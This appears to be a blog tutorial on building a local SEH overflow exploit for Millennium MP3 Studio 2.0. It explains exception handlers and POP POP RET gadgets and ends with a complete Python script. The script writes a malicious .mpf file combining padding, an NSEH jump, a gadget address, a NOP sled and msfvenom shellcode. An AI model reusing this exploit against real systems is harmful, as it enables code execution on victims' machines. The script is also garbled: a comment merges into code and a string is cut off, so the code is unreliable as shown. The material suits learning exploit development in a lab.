Structured Exception Handler (SEH) based overflows work in many different ways. In this tutorial, we’ll be using a text file to inject the malicious payload into the vulnerable field.
(This blog post is not original. It covers my experience and the challenges I encountered while replicating this exploit: https://fullpwnops.com/local-seh-overflow/ in Fu11Shade’s “Windows exploitation pathway” sequence. Unless otherwise stated, quoted text is from Fu11Shade’s blog post. To configure your system to follow along with this tutorial complete: https://fullpwnops.com/immunity-windbg-mona/)
In this tutorial we’ll be exploiting an overflow that occurs when Millennium MP3 Studio 2.0 (install here: https://www.exploit-db.com/exploits/10240) attempts to open files with certain extensions. I completed this tutorial on a Windows 7 64-bit virtual machine.
What the heck is a “structured exception handler?” Put rather crudely, a SEH is a piece of code designed to handle certain errors that may occur at runtime. Exception handlers can address both hardware and software faults. Some common handlers deal with issues like failing to free memory blocks, insufficient memory, attempting to access a restricted memory location, and etc.
If an exception arises and none of the handlers can resolve the issue, the program will likely terminate or produce some kind of unexpected output.
There are two SEH mechanisms:
When an exception is thrown that a handler recognizes, the handler can either:
Let’s run through how this SEH exploit will work — much of this is to be explained:
Let’s get started:
First, we want to attach the Immunity Debugger to the running Millennium MP3 Studio process:
Next, we want to generate the .mpf file for our exploit. We can do this using a python script:
In this script we generate a payload, open a file named “evil.mpf”, and write the payloads the payload to the file object returned by open() (payload_execution).
After running the script we can see the malicious file.
Now let’s try to open evil.mpf from Millenium Studio MP3 while its attached to Immunity:
We can see the EAX and ECX registers being overwritten with A’s. Furthermore, we can see a “CORRUPT ENTRY” in our SEH chain:
Finally, we can also see the overflow in Immunity’s logs.
Now that we’ve confirmed there’s a buffer overflow vulnerability, we need to calculate the buffer size so we can generate precise shellcode designed to overwrite SEH handlers.
We can use Metasploit’s pattern create tool to generate a cyclic pattern that will help you identify where data starts being overwritten:
Note: I had issues installing the Metasploit framework on my Windows virtual machine (Metasploit community is no longer offered) and opted to use the Metaploit framework that comes built-in with Kali Linux.
Now, we should attach the Millennium process to Immunity and open our new malicious file:
We can see registers being overwritten by our pattern.
Now, lets run the “findmsp” command. Findmsp will “find all instances or certain references to a cyclic pattern in memory” (corelan.be). If you inject a cyclic pattern and crash your application you can run findmsp to obtain the following information (corelan.be):
“””
“””
We can see a SEH handler being overwritten:
In order to exploit this “we need to obtain a POP POP RET gadget.” Using we can accomplish this using mona by running “!mona seh -n” in Immunity. This command will search through the program for the needed sequence which will “return execution flow back to the structured exception handler.”
At first I didn’t know what a POP POP RET gadget really was or why we needed it — so let’s explore that a bit.
According to dkalemis.wordpress.com, exploit writers often search for this sequence “because it is an essential part of their exploit.” Apparently, “POP POP RET is the sequence of instructions needed in order to create SEH exploits.” Notably, the registers to which the popped values go is not of critical importance to whether the exploits succeed. What matters most is that ESP is moved up the address space twice (8 bytes — each position is 4-bytes on a 32-bit architecture), and that a RET instruction is executed. Therefore, either a “POP EAX, POP EBX, RET, or POP ECX, POP ECX, RET, or POP EDX, POP EAX, RET, (and so on) will do.”
Each time a RET occurs, “the contents of the address ESP points at are put in EIP and executed,” (dkalemis). So, the attacker knows that the address of ESP + 8 is going to be put into EIP and executed.
But why is it important that ESP be moved down the stack twice? Why can’t we just overwrite the SEH handler instructions with shellcode since control jumps there anyways when an exception is raised?
Because there are SafeSEH safeguards that protect against this.
According to Dkalemis, SEH’s are “a linked list of records with each record corresponding to an exception handler.” The first field of the record is a pointer to the next record and the second field is the address of the exception handler itself.
SEH exploits are based on the fact that the attacker can “alter a portion of the stack and put values there that can misdirect the execution of the SEH handler after an exception is raised,” (dkalemis).
So, let’s run through how a POP POP RET gadget would work from the top:
Moving back to the tutorial now.
Our final python script, which includes the POP POP RET gadget, will look like this:
from struct import *
malicious_file = "evil.mpf"
# Log data, item 36
# Address=0BADF00D
# Message= SEH record (nseh field) at 0x0018f948 overwritten with normal pattern : 0x31684630 (offset 4112), followed by 1712 bytes of cyclic data after the handler
seh = pack ('<I', 0x10014E98) # POP POP RET from xaudio.dll - using !mona seh -n
nseh = pack ('<I', 0x909032EB) # Short jump over the POPPOPRET filled NSEH
# shellcode payload that is generated from msfvenom
shellcode = (
"\xdb\xc8\xba\x50\xf4\xd9\x51\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
"\x31\x31\x56\x18\x83\xee\xfc\x03\x56\x44\x16\x2c\xad\x8c\x54"
"\xcf\x4e\x4c\x39\x59\xab\x7d\x79\x3d\xbf\x2d\x49\x35\xed\xc1"
"\x22\x1b\x06\x52\x46\xb4\x29\xd3\xed\xe2\x04\xe4\x5e\xd6\x07"
"\x66\x9d\x0b\xe8\x57\x6e\x5e\xe9\x90\x93\x93\xbb\x49\xdf\x06"
"\x2c\xfe\x95\x9a\xc7\x4c\x3b\x9b\x34\x04\x3a\x8a\xea\x1f\x65"
"\x0c\x0c\xcc\x1d\x05\x16\x11\x1b\xdf\xad\xe1\xd7\xde\x67\x38"
"\x17\x4c\x46\xf5\xea\x8c\x8e\x31\x15\xfb\xe6\x42\xa8\xfc\x3c"
"\x39\x76\x88\xa6\x99\xfd\x2a\x03\x18\xd1\xad\xc0\x16\x9e\xba"
"\x8f\x3a\x21\x6e\xa4\x46\xaa\x91\x6b\xcf\xe8\xb5\xaf\x94\xab"
"\xd4\xf6\x70\x1d\xe8\xe9\xdb\xc2\x4c\x61\xf1\x17\xfd\x28\x9f"
"\xe6\x73\x57\xed\xe9\x8b\x58\x41\x82\xba\xd3\x0e\xd5\x42\x36"
"\x6b\x29\x09\x1b\xdd\xa2\xd4\xc9\x5c\xaf\xe6\x27\xa2\xd6\x64"
"\xc2\x5a\x2d\x74\xa7\x5f\x69\x32\x5b\x2d\xe2\xd7\x5b\x82\x03"
"\xf2\x3f\x45\x90\x9e\x91\xe0\x10\x04\xee")
payload = "A" * 4112 # after calculating the buffer size that triggers this specific vulnerability
payload += nseh
payload += seh
payload += "\x90" * 100
payload += shellcode
# Log data, item 24
# Address=10014E98
# Message= 0x10014e98 : pop esi # pop ecx # ret | {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (c:\mp3-millennium\xaudio.dllpayload_execution = open(malicious_file, 'w+')
try:
print("[x] Opening the malicious file")
payload_execution = open(malicious_file, "w+")
print("[x] Creating a file named", malicious_file)
payload_execution.write(payload)
print("[x] Adding payload to the malicious file")
payload_execution.close()
print("[x] Sending junk")
print("[x] Sending POP POP RET via controlled SEH handler")
print("[x] Jumping to shellcode")
except:
print("[!] Error creating the
Notice that our payload now also contains a NOP sled:
Now, when we run the final version of the application we can get a calculator to pop up: